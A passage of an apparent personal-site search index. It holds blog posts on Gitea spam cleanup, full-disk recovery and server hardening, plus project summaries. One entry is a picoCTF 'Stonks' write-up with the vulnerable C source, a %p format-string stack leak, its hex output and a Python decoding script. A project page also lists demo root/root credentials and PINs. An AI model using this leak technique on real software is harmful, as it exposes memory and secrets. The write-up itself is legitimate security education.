running a public Git host. That turned out to be only half the job. Gitea's OpenID sign-in has its own sign-up switch, ENABLE_OPENID_SIGNUP, and mine was still on, so disabling registration alone didn't close sign-ups. Now I turn off OpenID sign-in and sign-up as well (ENABLE_OPENID_SIGNIN and ENABLE_OPENID_SIGNUP under [openid]), and I check the user list instead of trusting a single setting.\nThe Gitea command-line reference and backup and restore guide are the version-aware references for administrative operations.\n","permalink":"https://minhdb.com/blog/cleaning-spam-gitea/","summary":"\u003ch2 id=\"discovering-the-abuse\"\u003eDiscovering the abuse\u003c/h2\u003e\n\u003cp\u003eWhile investigating storage growth, I found repository owners I did not recognize. Their names and repositories followed patterns common to search-engine spam: product keywords, numeric suffixes, empty projects, and matching wiki repositories.\u003c/p\u003e\n\u003cp\u003eThe legitimate repositories belonged to my own user. The unknown accounts had accumulated over time because the Gitea instance was publicly reachable and registration had remained enabled.\u003c/p\u003e\n\u003cp\u003eThis changed the task from simple disk cleanup into incident response. Removing large files was not enough; I needed to remove the application records, close the registration path, and review credentials.\u003c/p\u003e","title":"Cleaning and securing a spam-abused Gitea instance"},{"content":"The symptom was not the cause My self-hosted Gitea instance started returning 502 Bad Gateway. Nginx was still answering requests, so the error only told me that its upstream service was unavailable. Before changing the reverse proxy, I checked the host:\ndf -h The root filesystem was completely full:\nFilesystem Size Used Avail Use% Mounted on /dev/root 50G 48G 0 100% / A full filesystem can stop a database from writing, prevent applications from creating temporary files, and even make configuration files impossible to save. The 502 was therefore a downstream symptom of a storage incident.\nNarrowing the search I worked from the broadest directory down instead of guessing which Docker object to delete:\nsudo du -xhd1 / 2\u0026gt;/dev/null | sort -h sudo du -xhd1 /home 2\u0026gt;/dev/null | sort -h sudo du -xhd1 /home/deploy 2\u0026gt;/dev/null | sort -h sudo du -xhd1 /home/deploy/docker 2\u0026gt;/dev/null | sort -h -x keeps du on one filesystem, which prevented the attached backup volume from being counted as part of the root disk. The paths shown here are generic; I followed the largest real directory reported at each level.\nThe largest branches were /var and /home. Under /home, almost all of the space led to Gitea:\n24G /home/deploy/docker/gitea The Gitea data then split into roughly 5 GB of Git repositories and 19 GB under its application data:\n5.0G .../gitea/git 19G .../gitea/gitea One final pass revealed the actual hotspot:\n19G .../gitea/gitea/repo-archive Finding the files The archive directory contained many files named like:\nrepo-archive/tmp/upload-\u0026lt;random-id\u0026gt; Several individual files were between hundreds of megabytes and 2.5 GB. They had been left behind by abusive repository upload activity.\nThis distinction mattered. The files were under an archive upload temporary directory, not under Gitea's bare repository storage and not inside MariaDB. Deleting arbitrary directories from either of those locations could leave Gitea's database and filesystem out of sync.\nI used a read-only inventory to inspect the largest regular files:\nsudo find /home/deploy/docker/gitea \\ -xdev -type f \\ -printf \u0026#39;%s %TY-%Tm-%Td %TH:%TM %p\\n\u0026#39; | sort -nr | head -50 I also checked for deleted files still held open by a process:\nsudo lsof +L1 Deleting a pathname does not release its blocks until the process closes the open file descriptor. If df and du disagree substantially, this check can explain why.\nBefore cleanup, I:\nConfirmed the exact directory consuming the space. Listed file sizes and modification times. Stopped or stabilized the application where appropriate. Preserved database and configuration backups on a separate attached volume. Limited deletion to abandoned temporary upload files. I deleted from an explicit, reviewed list of files. A wildcard or a mistyped variable is easy to get wrong as root, and it can hit live data.\nAfter cleanup, I checked both blocks and inodes:\ndf -h / df -i / I then restarted the affected services and inspected their logs:\ndocker compose ps docker compose logs --tail 100 mariadb docker compose logs --tail 100 server Why the investigation worked The useful pattern was:\nexternal symptom -\u0026gt; host resource -\u0026gt; largest top-level directory -\u0026gt; largest application directory -\u0026gt; individual files Starting with docker system prune would have been tempting, but it would not have explained the incident and might not have touched bind-mounted Gitea data at all. Measuring first made the cleanup both safer and more effective.\ndocker system df is still a useful read-only measurement for images, layers, containers, and Docker-managed volumes:\ndocker system df I use it to compare Docker-managed storage with bind-mounted application data, not as justification to run a broad prune command.\nPreventing a repeat The long-term fixes are more important than freeing space once:\nDisable public Gitea registration unless it is intentionally needed. Set upload and repository size limits. Monitor disk usage and alert well before 100%. Keep backups on a different filesystem. Review temporary application directories periodically. Pin and maintain application versions. Investigate unexpected accounts and repositories as a security event. The 502 sent me looking at Nginx first, but Nginx was fine. The disk was full. Now, when several services act up at once, I check df -h before I touch any application config.\nCleaning up the spam accounts themselves is in Cleaning and securing a spam-abused Gitea instance.\n","permalink":"https://minhdb.com/blog/recovering-full-docker-filesystem/","summary":"\u003ch2 id=\"the-symptom-was-not-the-cause\"\u003eThe symptom was not the cause\u003c/h2\u003e\n\u003cp\u003eMy self-hosted Gitea instance started returning \u003ccode\u003e502 Bad Gateway\u003c/code\u003e. Nginx was still answering requests, so the error only told me that its upstream service was unavailable. Before changing the reverse proxy, I checked the host:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edf -h\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe root filesystem was completely full:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eFilesystem      Size  Used Avail Use% Mounted on\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e/dev/root         50G   48G     0 100% /\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA full filesystem can stop a database from writing, prevent applications from creating temporary files, and even make configuration files impossible to save. The 502 was therefore a downstream symptom of a storage incident.\u003c/p\u003e","title":"Recovering a Docker host from a full filesystem"},{"content":"Description Given the following program, which can be accessed by nc mercury.picoctf.net 6989\n#include \u0026lt;stdlib.h\u0026gt;\r#include \u0026lt;stdio.h\u0026gt;\r#include \u0026lt;string.h\u0026gt;\r#include \u0026lt;time.h\u0026gt;\r#define FLAG_BUFFER 128\r#define MAX_SYM_LEN 4\rtypedef struct Stonks {\rint shares;\rchar symbol[MAX_SYM_LEN + 1];\rstruct Stonks *next;\r} Stonk;\rtypedef struct Portfolios {\rint money;\rStonk *head;\r} Portfolio;\rint view_portfolio(Portfolio *p) {\rif (!p) {\rreturn 1;\r}\rprintf(\u0026#34;\\nPortfolio as of \u0026#34;);\rfflush(stdout);\rsystem(\u0026#34;date\u0026#34;); // TODO: implement this in C\rfflush(stdout);\rprintf(\u0026#34;\\n\\n\u0026#34;);\rStonk *head = p-\u0026gt;head;\rif (!head) {\rprintf(\u0026#34;You don\u0026#39;t own any stonks!\\n\u0026#34;);\r}\rwhile (head) {\rprintf(\u0026#34;%d shares of %s\\n\u0026#34;, head-\u0026gt;shares, head-\u0026gt;symbol);\rhead = head-\u0026gt;next;\r}\rreturn 0;\r}\rStonk *pick_symbol_with_AI(int shares) {\rif (shares \u0026lt; 1) {\rreturn NULL;\r}\rStonk *stonk = malloc(sizeof(Stonk));\rstonk-\u0026gt;shares = shares;\rint AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;\rfor (int i = 0; i \u0026lt;= MAX_SYM_LEN; i++) {\rif (i \u0026lt; AI_symbol_len) {\rstonk-\u0026gt;symbol[i] = \u0026#39;A\u0026#39; + (rand() % 26);\r} else {\rstonk-\u0026gt;symbol[i] = \u0026#39;\\0\u0026#39;;\r}\r}\rstonk-\u0026gt;next = NULL;\rreturn stonk;\r}\rint buy_stonks(Portfolio *p) {\rif (!p) {\rreturn 1;\r}\rchar api_buf[FLAG_BUFFER];\rFILE *f = fopen(\u0026#34;api\u0026#34;,\u0026#34;r\u0026#34;);\rif (!f) {\rprintf(\u0026#34;Flag file not found. Contact an admin.\\n\u0026#34;);\rexit(1);\r}\rfgets(api_buf, FLAG_BUFFER, f);\rint money = p-\u0026gt;money;\rint shares = 0;\rStonk *temp = NULL;\rprintf(\u0026#34;Using patented AI algorithms to buy stonks\\n\u0026#34;);\rwhile (money \u0026gt; 0) {\rshares = (rand() % money) + 1;\rtemp = pick_symbol_with_AI(shares);\rtemp-\u0026gt;next = p-\u0026gt;head;\rp-\u0026gt;head = temp;\rmoney -= shares;\r}\rprintf(\u0026#34;Stonks chosen\\n\u0026#34;);\r// TODO: Figure out how to read token from file, for now just ask\rchar *user_buf = malloc(300 + 1);\rprintf(\u0026#34;What is your API token?\\n\u0026#34;);\rscanf(\u0026#34;%300s\u0026#34;, user_buf);\rprintf(\u0026#34;Buying stonks with token:\\n\u0026#34;);\rprintf(user_buf);\r// TODO: Actually use key to interact with API\rview_portfolio(p);\rreturn 0;\r}\rPortfolio *initialize_portfolio() {\rPortfolio *p = malloc(sizeof(Portfolio));\rp-\u0026gt;money = (rand() % 2018) + 1;\rp-\u0026gt;head = NULL;\rreturn p;\r}\rvoid free_portfolio(Portfolio *p) {\rStonk *current = p-\u0026gt;head;\rStonk *next = NULL;\rwhile (current) {\rnext = current-\u0026gt;next;\rfree(current);\rcurrent = next;\r}\rfree(p);\r}\rint main(int argc, char *argv[])\r{\rsetbuf(stdout, NULL);\rsrand(time(NULL));\rPortfolio *p = initialize_portfolio();\rif (!p) {\rprintf(\u0026#34;Memory failure\\n\u0026#34;);\rexit(1);\r}\rint resp = 0;\rprintf(\u0026#34;Welcome back to the trading app!\\n\\n\u0026#34;);\rprintf(\u0026#34;What would you like to do?\\n\u0026#34;);\rprintf(\u0026#34;1) Buy some stonks!\\n\u0026#34;);\rprintf(\u0026#34;2) View my portfolio\\n\u0026#34;);\rscanf(\u0026#34;%d\u0026#34;, \u0026amp;resp);\rif (resp == 1) {\rbuy_stonks(p);\r} else if (resp == 2) {\rview_portfolio(p);\r}\rfree_portfolio(p);\rprintf(\u0026#34;Goodbye!\\n\u0026#34;);\rexit(0);\r} Examining the source code, I noticed that the written program is vulnerable to format string attack.\nI tried to feed %p to the program to explore the program's stack. I got this string\n0x97604b00x804b0000x80489c30xf7fc0d800xffffffff0x10x975e1600xf7fce1100xf7fc0dc7(nil)0x975f1800x20x97604900x97604b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffa6007d Feed the stuffs after (nil) to a hex editor\n0x975f1800x20x97604900x97604b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffa6007d I got something like\n_\u0018`Iv\u0004°ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿ¦} After some guessing and some digging around with endianess and reformatting. Here's the python script for to get the flag.\ns = \u0026#34;975f18029760490097604b006f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3538613032356533ffa6007d\u0026#34;\rBYTE = 2\rWORD = 4\rdef decode_endianess(s):\rwhile (len(s) % WORD != 0):\rs += \u0026#39;0\u0026#39;\rresult = \u0026#39;\u0026#39;\rfor i in range(0, len(s), WORD * BYTE):\rfor j in range(WORD):\rresult += s[i + WORD * BYTE - j * BYTE - 2]\rresult += s[i + WORD * BYTE - j * BYTE - 1]\rreturn result\rprint(decode_endianess(s)) Get the result and then feed into a hex to string converter and we get the flag.\n","permalink":"https://minhdb.com/writeups/picoctf_stonks/","summary":"\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eGiven the following program, which can be accessed by \u003ccode\u003enc mercury.picoctf.net 6989\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e#include \u0026lt;stdlib.h\u0026gt;\r\n#include \u0026lt;stdio.h\u0026gt;\r\n#include \u0026lt;string.h\u0026gt;\r\n#include \u0026lt;time.h\u0026gt;\r\n\r\n#define FLAG_BUFFER 128\r\n#define MAX_SYM_LEN 4\r\n\r\ntypedef struct Stonks {\r\n\tint shares;\r\n\tchar symbol[MAX_SYM_LEN + 1];\r\n\tstruct Stonks *next;\r\n} Stonk;\r\n\r\ntypedef struct Portfolios {\r\n\tint money;\r\n\tStonk *head;\r\n} Portfolio;\r\n\r\nint view_portfolio(Portfolio *p) {\r\n\tif (!p) {\r\n\t\treturn 1;\r\n\t}\r\n\tprintf(\u0026#34;\\nPortfolio as of \u0026#34;);\r\n\tfflush(stdout);\r\n\tsystem(\u0026#34;date\u0026#34;); // TODO: implement this in C\r\n\tfflush(stdout);\r\n\r\n\tprintf(\u0026#34;\\n\\n\u0026#34;);\r\n\tStonk *head = p-\u0026gt;head;\r\n\tif (!head) {\r\n\t\tprintf(\u0026#34;You don\u0026#39;t own any stonks!\\n\u0026#34;);\r\n\t}\r\n\twhile (head) {\r\n\t\tprintf(\u0026#34;%d shares of %s\\n\u0026#34;, head-\u0026gt;shares, head-\u0026gt;symbol);\r\n\t\thead = head-\u0026gt;next;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nStonk *pick_symbol_with_AI(int shares) {\r\n\tif (shares \u0026lt; 1) {\r\n\t\treturn NULL;\r\n\t}\r\n\tStonk *stonk = malloc(sizeof(Stonk));\r\n\tstonk-\u0026gt;shares = shares;\r\n\r\n\tint AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;\r\n\tfor (int i = 0; i \u0026lt;= MAX_SYM_LEN; i++) {\r\n\t\tif (i \u0026lt; AI_symbol_len) {\r\n\t\t\tstonk-\u0026gt;symbol[i] = \u0026#39;A\u0026#39; + (rand() % 26);\r\n\t\t} else {\r\n\t\t\tstonk-\u0026gt;symbol[i] = \u0026#39;\\0\u0026#39;;\r\n\t\t}\r\n\t}\r\n\r\n\tstonk-\u0026gt;next = NULL;\r\n\r\n\treturn stonk;\r\n}\r\n\r\nint buy_stonks(Portfolio *p) {\r\n\tif (!p) {\r\n\t\treturn 1;\r\n\t}\r\n\tchar api_buf[FLAG_BUFFER];\r\n\tFILE *f = fopen(\u0026#34;api\u0026#34;,\u0026#34;r\u0026#34;);\r\n\tif (!f) {\r\n\t\tprintf(\u0026#34;Flag file not found. Contact an admin.\\n\u0026#34;);\r\n\t\texit(1);\r\n\t}\r\n\tfgets(api_buf, FLAG_BUFFER, f);\r\n\r\n\tint money = p-\u0026gt;money;\r\n\tint shares = 0;\r\n\tStonk *temp = NULL;\r\n\tprintf(\u0026#34;Using patented AI algorithms to buy stonks\\n\u0026#34;);\r\n\twhile (money \u0026gt; 0) {\r\n\t\tshares = (rand() % money) + 1;\r\n\t\ttemp = pick_symbol_with_AI(shares);\r\n\t\ttemp-\u0026gt;next = p-\u0026gt;head;\r\n\t\tp-\u0026gt;head = temp;\r\n\t\tmoney -= shares;\r\n\t}\r\n\tprintf(\u0026#34;Stonks chosen\\n\u0026#34;);\r\n\r\n\t// TODO: Figure out how to read token from file, for now just ask\r\n\r\n\tchar *user_buf = malloc(300 + 1);\r\n\tprintf(\u0026#34;What is your API token?\\n\u0026#34;);\r\n\tscanf(\u0026#34;%300s\u0026#34;, user_buf);\r\n\tprintf(\u0026#34;Buying stonks with token:\\n\u0026#34;);\r\n\tprintf(user_buf);\r\n\r\n\t// TODO: Actually use key to interact with API\r\n\r\n\tview_portfolio(p);\r\n\r\n\treturn 0;\r\n}\r\n\r\nPortfolio *initialize_portfolio() {\r\n\tPortfolio *p = malloc(sizeof(Portfolio));\r\n\tp-\u0026gt;money = (rand() % 2018) + 1;\r\n\tp-\u0026gt;head = NULL;\r\n\treturn p;\r\n}\r\n\r\nvoid free_portfolio(Portfolio *p) {\r\n\tStonk *current = p-\u0026gt;head;\r\n\tStonk *next = NULL;\r\n\twhile (current) {\r\n\t\tnext = current-\u0026gt;next;\r\n\t\tfree(current);\r\n\t\tcurrent = next;\r\n\t}\r\n\tfree(p);\r\n}\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tsetbuf(stdout, NULL);\r\n\tsrand(time(NULL));\r\n\tPortfolio *p = initialize_portfolio();\r\n\tif (!p) {\r\n\t\tprintf(\u0026#34;Memory failure\\n\u0026#34;);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tint resp = 0;\r\n\r\n\tprintf(\u0026#34;Welcome back to the trading app!\\n\\n\u0026#34;);\r\n\tprintf(\u0026#34;What would you like to do?\\n\u0026#34;);\r\n\tprintf(\u0026#34;1) Buy some stonks!\\n\u0026#34;);\r\n\tprintf(\u0026#34;2) View my portfolio\\n\u0026#34;);\r\n\tscanf(\u0026#34;%d\u0026#34;, \u0026amp;resp);\r\n\r\n\tif (resp == 1) {\r\n\t\tbuy_stonks(p);\r\n\t} else if (resp == 2) {\r\n\t\tview_portfolio(p);\r\n\t}\r\n\r\n\tfree_portfolio(p);\r\n\tprintf(\u0026#34;Goodbye!\\n\u0026#34;);\r\n\r\n\texit(0);\r\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eExamining the source code, I noticed that the written program is vulnerable to format string attack.\u003c/p\u003e","title":"PicoCTF Stonks"},{"content":"Couple thoughts on self-host The idea came to me when I was exploring options to host my Hugo blog, a place for me to ramble.\nI needed somewhere to deploy the blog and a domain name that would remain human-readable. Then I started thinking about version control and continuous delivery. I could have put the site on an established platform and called it a day. But isn't that too simple?\nI also wanted room for subdomains and other useful software in case I wanted to escape parts of the Google ecosystem. The first piece happened to be Gitea, a lightweight Git service. I have nothing against GitHub, but if I was going for the self-host life, why not host Git too?\nMore importantly, I knew I would learn a lot by putting the pieces together myself. Indeed I did. I never regretted spending several weeks working on it, although the system looks quite different from my first attempt.\nThe services Blog: Hugo Git: Gitea Reverse proxy: Nginx Database: SQLite, inside Gitea Certificates: Certbot and Let's Encrypt Mail: Proton Mail Cloud: DigitalOcean Domain registrar: Name.com The goals haven't changed much: keep my code in a private Git service, publish the blog with one command, and serve both sites over HTTPS. I just run a lot less to get there.\nWhy Docker, and why less of it At first I wondered whether I should install everything directly on the Droplet. Installing Gitea that way would have been simpler in the short term. But removing it later, keeping dependencies compatible, and adding more services would eventually clutter the host.\nThat led me to Docker Compose. My first sketch put everything in containers:\nThese days only Gitea runs in a container. Nginx and Certbot come from Ubuntu's packages, so they get security updates along with the rest of the system, and the blog is just a folder of files.\nWhat it looks like now Internet | v Nginx on ports 80 and 443 (host) | \\ | \\ serves static files v v Gitea on 127.0.0.1:3000 /srv/minhdb-blog/current (Docker, SQLite) (a link to the latest release) Nginx terminates TLS for both domains. It proxies code.minhdb.com to Gitea and serves minhdb.com straight from disk. Gitea only listens on loopback, and Git over SSH is off; I clone and push over HTTPS.\nThe firewall allows 80 and 443 from anywhere and SSH only from my own address. Logging in takes a key, root login is off, and Ubuntu installs security updates on its own.\nGitea The whole Compose file is one service now:\nservices: gitea: # Pinned to a reviewed release and its digest, so a restart can\u0026#39;t upgrade it. image: docker.gitea.com/gitea:\u0026lt;version\u0026gt;-rootless@sha256:\u0026lt;digest\u0026gt; restart: unless-stopped user: \u0026#34;1000:1000\u0026#34; read_only: true tmpfs: - /tmp security_opt: - no-new-privileges:true cap_drop: - ALL volumes: - /opt/gitea/data:/var/lib/gitea # Gitea can read its config but not change it. - /opt/gitea/config:/etc/gitea:ro ports: # Only Nginx on the same host can reach it. - \u0026#34;127.0.0.1:3000:3000\u0026#34; SQLite replaced MariaDB. I'm the only user, so one database file is plenty, and it's one less service with a password and a port.\nThe settings I care most about:\n[service] DISABLE_REGISTRATION = true REQUIRE_SIGNIN_VIEW = true [openid] ENABLE_OPENID_SIGNIN = false ENABLE_OPENID_SIGNUP = false [security] INSTALL_LOCK = true # Only the Docker gateway that Nginx\u0026#39;s traffic arrives from, never \u0026#34;*\u0026#34;. REVERSE_PROXY_TRUSTED_PROXIES = 172.30.0.1/32 [actions] ENABLED = false My admin account uses two-factor authentication, and the secrets in app.ini were generated fresh on the new server.\nNginx for Gitea server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name code.minhdb.com; ssl_certificate /etc/letsencrypt/live/code.minhdb.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/code.minhdb.com/privkey.pem; client_max_body_size 256m; # Slow down password guessing. location = /user/login { limit_req zone=gitea_login burst=5 nodelay; include /etc/nginx/snippets/gitea-proxy.conf; } location / { include /etc/nginx/snippets/gitea-proxy.conf; } } The proxy snippet sets X-Forwarded-For to the client address instead of appending to whatever the client sent, so nobody can hand Gitea a fake address chain. Requests for hostnames I don't serve get dropped, both on port 80 and during the TLS handshake on 443.\nI run sudo nginx -t before every reload. A failed test leaves the old config running, which once made me chase a problem that wasn't in the file I was looking at.\nPublishing the blog There is no CI anymore. I build the site on my own machine with a pinned Hugo version and upload it with one script:\nscripts/publish.sh --dry-run # build and check only scripts/publish.sh # build, upload, switch, verify The script refuses to run unless main is committed and pushed. It sends the built site as one archive over SSH to a deploy account whose key can run exactly one command on the server. That command checks the archive (no links, no .. paths, a size limit), unpacks it into a new release folder, and points current at it in a single rename. It keeps the last five releases, so rolling back is one command too.\nNothing on the server builds or runs code from the blog repository.\nCertificates Certbot comes from Ubuntu's package, which already installs a renewal timer. I added one line so Nginx reloads after each renewal:\necho \u0026#39;deploy-hook = systemctl reload nginx\u0026#39; | sudo tee -a /etc/letsencrypt/cli.ini sudo certbot renew --dry-run What I verify sudo docker compose -f /opt/gitea/compose.yaml ps # Gitea is \u0026#34;healthy\u0026#34; sudo ss -tlnp # 3000 only on 127.0.0.1 sudo nginx -t curl -sI https://code.minhdb.com | head -1 curl -s https://minhdb.com/.release # the commit I just published sudo docker exec gitea gitea admin user list # only my account The last one is new. I used to trust the registration setting; now I look at the user list.\nWhat I learned Running my own services still teaches me more than anything else I do on the side. The first version taught me how to get containers running. The current one taught me to run fewer things, give each one less access, and check what is actually there instead of what the config says should be there.\nBackups that live off the Droplet are next on my list.\nReferences Gitea installation with Docker Gitea reverse-proxy configuration Gitea configuration cheat sheet Certbot documentation ","permalink":"https://minhdb.com/blog/self-host/","summary":"\u003ch2 id=\"couple-thoughts-on-self-host\"\u003eCouple thoughts on self-host\u003c/h2\u003e\n\u003cp\u003eThe idea came to me when I was exploring options to host my Hugo blog, a place for me to ramble.\u003c/p\u003e\n\u003cp\u003eI needed somewhere to deploy the blog and a domain name that would remain human-readable. Then I started thinking about version control and continuous delivery. I could have put the site on an established platform and called it a day. But isn't that too simple?\u003c/p\u003e","title":"A self-host life"},{"content":"🔗 Demo Description In this project, I implemented a multithreaded audio engine based on Microsoft's XAudio2 driver.\n","permalink":"https://minhdb.com/projects/real-time-audio-system/","summary":"\u003ch3 id=\"-demo\"\u003e🔗 \u003ca href=\"https://youtu.be/DdbOtbXlxTc\"\u003eDemo\u003c/a\u003e\u003c/h3\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eIn this project, I implemented a multithreaded audio engine based on \u003cstrong\u003e\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/xaudio2/xaudio2-introduction\"\u003eMicrosoft's XAudio2 driver\u003c/a\u003e\u003c/strong\u003e.\u003c/p\u003e","title":"Real Time Audio Engine"},{"content":"🔗 Demo Description A clone of space invaders adhering to OOP principles and application of classical design patterns.\n","permalink":"https://minhdb.com/projects/space-invaders/","summary":"\u003ch3 id=\"-demo\"\u003e🔗 \u003ca href=\"https://youtu.be/-4_YgwlpEHw\"\u003eDemo\u003c/a\u003e\u003c/h3\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eA clone of space invaders adhering to OOP principles and application of classical design patterns.\u003c/p\u003e","title":"Space Invaders"},{"content":"🔗 GitHub Description A to-do list web application built using React that allows the user to add, remove and edit their todos. Todo lists are stored in the browser local storage. I built this app while learning React.\n","permalink":"https://minhdb.com/projects/todo-list-app/","summary":"\u003ch3 id=\"-github\"\u003e🔗 \u003ca href=\"https://github.com/minhdb/React-Todo-List\"\u003eGitHub\u003c/a\u003e\u003c/h3\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eA to-do list web application built using \u003cstrong\u003eReact\u003c/strong\u003e that allows the user to add, remove and edit their todos. Todo lists are stored in the browser local storage. I built this app while learning \u003cstrong\u003eReact\u003c/strong\u003e.\u003c/p\u003e","title":"Todo List App"},{"content":"🔗 Demo Description Designed, documented, and implemented the back-end RESTful APIs. Incorporated Cloudinary API to store employees’ pictures in the database every clock-in/clock-out moment. Incorporated Nodemail and Twilio API to send new employee’s assigned PIN numbers. Implemented authentication using JSON Web Token and bCrypt for administrators. Features Admin user should be able to log in. # admin/signin\ruser: root\rpassword: root Testing users for clock in / clock out Minh Bui PIN: 8643\rMartin Lorino PIN: 6667\rFelipe Vega PIN: 6695\rDiego Lorino PIN: 5676 Admin can see the list of employees. Admin can select an employee and view their clock-in / clock-out time. Admin can generate work hours reports and download the data as Excel file. Admin can add new employee. Admin can log-out. Admin can reset password. ","permalink":"https://minhdb.com/projects/pick-up-dirt/","summary":"\u003ch3 id=\"-demo\"\u003e🔗 \u003ca href=\"https://pickupdirt.herokuapp.com\"\u003eDemo\u003c/a\u003e\u003c/h3\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDesigned, documented, and implemented the back-end RESTful APIs.\u003c/li\u003e\n\u003cli\u003eIncorporated Cloudinary API to store employees’ pictures in the database every clock-in/clock-out moment.\u003c/li\u003e\n\u003cli\u003eIncorporated Nodemail and Twilio API to send new employee’s assigned PIN numbers.\u003c/li\u003e\n\u003cli\u003eImplemented authentication using JSON Web Token and bCrypt for administrators.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdmin user should be able to log in.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# admin/signin\r\nuser: root\r\npassword: root\n\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\n\u003cli\u003eTesting users for clock in / clock out\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eMinh Bui PIN: 8643\r\nMartin Lorino PIN: 6667\r\nFelipe Vega PIN: 6695\r\nDiego Lorino PIN: 5676\n\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\n\u003cli\u003eAdmin can see the list of employees.\u003c/li\u003e\n\u003cli\u003eAdmin can select an employee and view their clock-in / clock-out time.\u003c/li\u003e\n\u003cli\u003eAdmin can generate work hours reports and download the data as Excel file.\u003c/li\u003e\n\u003cli\u003eAdmin can add new employee.\u003c/li\u003e\n\u003cli\u003eAdmin can log-out.\u003c/li\u003e\n\u003cli\u003eAdmin can reset password.\u003c/li\u003e\n\u003c/ul\u003e","title":"PickUpDirt"},{"content":"Description A multithreaded chat server that serves many clients.\nFeatures Server\nServer spawns a new thread to serve each client. New users can register a new ID. Server stores users' info as text files for demo purpose. Spawn new bots that listen to certain commands from users. Client\nCan detect if the server is online or not. Allows the users to interact with the back-end server: registering for a new ID, logging in, etc ... Once a user is logged in, they can send messages. User can interact with bots for fun. ","permalink":"https://minhdb.com/projects/chat-server/","summary":"\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eA multithreaded chat server that serves many clients.\u003c/p\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eServer\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eServer spawns a new thread to serve each client.\u003c/li\u003e\n\u003cli\u003eNew users can register a new ID. Server stores users' info as text files for demo purpose.\u003c/li\u003e\n\u003cli\u003eSpawn new bots that listen to certain commands from users.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClient\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCan detect if the server is online or not.\u003c/li\u003e\n\u003cli\u003eAllows the users to interact with the back-end server: registering for a new ID, logging in, etc ...\u003c/li\u003e\n\u003cli\u003eOnce a user is logged in, they can send messages.\u003c/li\u003e\n\u003cli\u003eUser can interact with bots for fun.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","title":"Chat server with chatbot"},{"content":"Description Connect 4 is a two-player zero-sum connection game.\nFeatures Default behavior:\nHuman is yellow. CPU is red. Human moves first. CPU moves second. Game Over condition: when either player gets 4 consecutive marbles (horizontally, vertically, and diagonally). It's a draw if there's no more slot on the board. Allows either the AI or the user to play.\nIt is possible for the AI to play against itself through network.\nAuto-saved game on close using serialization.\nMenu -\u0026gt; New Game should reset the game state.\nImplementation The game is implemented with the MVC design pattern.\nIntelligent Computer Player Computer player's using Minimax alogrithms with alpha-beta pruning. More details here: https://en.wikipedia.org/wiki/Minimax\nNetwork Protocol Establishing Client and Server Roles The Server will always take the first turn. If it is a human player, the player will click and send the event to the client. Otherwise the AI will generate its turn and send it to the client. The client will go second. This will repeat until the game is over.\nA move made over network is implemented using serialization. Here's the details:\npublic class Connect4MoveMessage implements Serializable {\rpublic static final int YELLOW = 1;\rpublic static final int RED = 2;\rprivate static final long SERIAL_VERSION_UID = 1L;\rprivate int row;\rprivate int col;\rprivate int color;\rpublic Connect4MoveMessage(int row, int col, int color) { //… }\rpublic int getRow() { //… }\rpublic int getColumn() { //… }\rpublic int getColor() { //… }\r} ","permalink":"https://minhdb.com/projects/connect4/","summary":"\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Connect_Four\"\u003e\u003cstrong\u003eConnect 4\u003c/strong\u003e\u003c/a\u003e is a two-player zero-sum connection game.\u003c/p\u003e\n\u003ch2 